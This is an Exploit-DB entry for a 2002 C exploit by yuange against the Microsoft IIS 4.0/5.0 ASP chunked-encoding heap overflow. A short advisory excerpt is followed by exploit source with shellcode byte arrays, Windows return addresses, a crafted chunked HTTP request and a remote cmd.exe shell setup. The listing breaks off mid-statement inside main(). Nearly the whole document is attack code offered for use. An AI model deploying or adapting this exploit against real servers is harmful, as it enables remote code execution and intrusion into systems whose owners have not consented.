Exploit-DB #21371
Description: Microsoft IIS 4.0/5.0 - Chunked Encoding Transfer Heap Overflow (4)
Type: remote
Platform: windows
Date: 2002-04-24
Author: yuange

Exploit:
/*
source: https://www.securityfocus.com/bid/4485/info

A heap overflow condition in the 'chunked encoding transfer mechanism' related to Active Server Pages has been reported for Microsoft IIS (Internet Information Services).

This condition affects IIS 4.0 and IIS 5.0. Exploitation of this vulnerability may result in a denial of service or allow for a remote attacker to execute arbitrary instructions on the victim host.

Microsoft IIS 5.0 is reported to ship with a default script (iisstart.asp) which may be sufficient for a remote attacker to exploit. Other sample scripts may also be exploitable.

A number of Cisco products are affected by this vulnerability, although this issue is not present in the Cisco products themselves.
*/

/*
    aspcode.c  ver1.0
    iis4.0��iis5.0��iis5.1     asp.dll  overflow program
    copy by yuange <yuange@nsfocus.com>  2002.4.24
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <httpext.h>
#pragma  comment(lib,"ws2_32")
//#define  RETEIPADDR  eipwin2000
#define  FNENDLONG   0x08
#define  NOPCODE     0x90
#define  NOPLONG     0x50
#define  BUFFSIZE    0x20000
#define  PATHLONG    0x12
#define  RETEIPADDRESS 0x468
#define  SHELLBUFFSIZE 0x800
#define  SHELLFNNUMS   14
#define  DATABASE      0x61
#define  DATAXORCODE   0x55
#define  LOCKBIGNUM    19999999
#define  LOCKBIGNUM2   13579139
#define  MCBSIZE       0x8
#define  MEMSIZE       0xb200
#define  SHELLPORT   0x1f90   //0x1f90=8080
#define  WEBPORT     80
void     shellcodefnlock();
void     shellcodefnlock2();
void     shellcodefn(char *ecb);
void     shellcodefn2(char *ecb);
void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int
len);
void     iisput(int fd,char *str);
void     iisget(int fd,char *str);
void     iiscmd(int fd,char *str);
void     iisreset();
void     iisdie();
void     iishelp();
int newrecv(int fd,char *buff,int size,int flag);
int newsend(int fd,char *buff,int size,int flag);
 int xordatabegin;
 int  lockintvar1,lockintvar2;
 char lockcharvar;
int main(int argc, char **argv)
{
 char *server;
 char *str="LoadLibraryA""\x0""CreatePipe""\x0"
      "CreateProcessA""\x0""CloseHandle""\x0"
      "PeekNamedPipe""\x0"
      "ReadFile""\x0""WriteFile""\x0"
      "CreateFileA""\x0"
      "GetFileSize""\x0"
      "GetLastError""\x0"
      "Sleep""\x0"
      "\x09""ntdll.dll""\x0""RtlEnterCriticalSection""\x0"
      "\x09""asp.dll""\x0""HttpExtensionProc""\x0"
      "\x09""msvcrt.dll""\x0""memcpy""\x0""\x0"
      "cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
      "XORDATA""\x0""xordatareset""\x0"
      "strend";
//  char buff0[]="TRACK / HTTP/1.1\nHOST:";
 char buff1[]="GET /";
 char buff2[]="default.asp";
 char *buff2add;
 char buff3[]="?!!ko ";
 char buff4[]=" HTTP/1.1 \nHOST:";
 char buff5[]="\nContent-Type: application/x-www-form-urlencoded";
 char buff51[]="\nTransfer-Encoding:chunked";
 char buff6[]="\nContent-length:[PII_REDACTED]\r\n\r\n";  //
0x80000000+MEMSIZE-1
 char buff61[]="\nContent-length:[PII_REDACTED]\r\n\r\n";  // 0xffffffff
 char buff7[]=
"\x10\x00\x01\x02\x03\x04\x05\x06\x1c\xf0\xfd\x7f\x20\x21\x00\x01";
 char buff11[]=
"\x02\x00\x01\x02\x03\x04\x05\x06\x22\x22\x00\x01\x22\x22\x00\x01";
 char buff10[]="\x20\x21\x00\x01\x20\x21\x00\x01";
 char buff9[]= "\x20\x21\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30";
 char buff8[]= "\x81\xec\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90";
 /*
 char
buff10[]="\x10\x00\x01\x02\x03\x04\x05\x06\x1d\x21\x00\x01\xec\x21\x00\x01";
 char
buff11[]="\x10\x00\x01\x02\x03\x04\x05\x06\x20\x21\x00\x01\x01\x21\x00\x01";
 char
buff12[]="\x10\x00\x01\x02\x03\x04\x05\x06\x21\x21\x00\x01\x00\x21\x00\x01";
 char
buff13[]="\x10\x00\x01\x02\x03\x04\x05\x06\x22\x21\x00\x01\xff\x21\x00\x01";
 char
buff14[]="\x10\x00\x01\x02\x03\x04\x05\x06\x23\x21\x00\x01\xe4\x21\x00\x01";
 char
buff15[]="\x10\x00\x01\x02\x03\x04\x05\x06\x24\x21\x00\x01\x90\x21\x00\x01";
*/
 char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
 char SRLF[]="\x0d\x0a\x00\x00";

 char  *eipexceptwin2000add;
       char  eipexceptwin20002[]="\x80\x70\x9f\x74";   //  push ebx ;
ret  address
       char  eipexceptwin2000cn[]="\x73\x67\xfa\x7F";   //  push ebx ;
ret  address
       char  eipexceptwin2000[]="\x80\x70\x97\x74";
//     char  eipexceptwin2000[]="\xb3\x9d\xfa\x77";  // \x01\x78";
//  call ebx  address
       char  eipexceptwin2000msvcrt[]="\xD3\xCB\x01\x78";
       char  eipexceptwin2000sp2[]="\x02\xbc\x01\x78";
//     char  eipexceptwin2000[]="\x0B\x08\x5A\x68";
//  char  eipexceptwin2000[]="\x32\x8d\x9f\x74";
   char  eipexceptwinnt[]  ="\x82\x01\xfc\x7F";     //  push esi ;
ret  address
//     char  eipexceptwinnt[]  ="\x2e\x01\x01\x78";
//  call  esi  address
//  char  eipexcept2[]="\xd0\xae\xdc\x77";  //
 char    buff[BUFFSIZE];
 char    recvbuff[BUFFSIZE];
 char    shellcodebuff[BUFFSIZE];
 char    shellcodebuff2[BUFFSIZE];
 struct  sockaddr_in s_in2,s_in3;
 struct  hostent *he;
 char    *shellcodefnadd,*chkespadd;
 unsigned  int sendpacketlong,buff2long,shelladd,packlong;
 int i,j,k,l,strheadlong;
 unsigned  char temp;
 int     fd;
 u_short port,port1,shellcodeport;
 SOCKET  d_ip;
 WSADATA wsaData;
 int offset=0;
 int OVERADD=RETEIPADDRESS;
 int result;
 fprintf(stderr,"\n IIS ASP.DLL OVERFLOW PROGRAM 2.0 .");
 fprintf(stderr,"\n copy by yuange 2002.4.24.");
 fprintf(stderr,"\n welcome to my homepage http://yuange.yeah.net .");
 fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
 fprintf(stderr,"\n usage: %s <server> [aspfile] [webport] [winxp] \n",
argv[0]);
 buff2add=buff2;
 if(argc <2){
     fprintf(stderr,"\n please enter the web server:");
     gets(recvbuff);
     for(i=0;i<strlen(recvbuff);++i){
        if(recvbuff[i]!=' ') break;
     }
     server=recvbuff;
     if(i<strlen(recvbuff)) server+=i;
     fprintf(stderr,"\n please enter the .asp filename:");
     gets(shellcodebu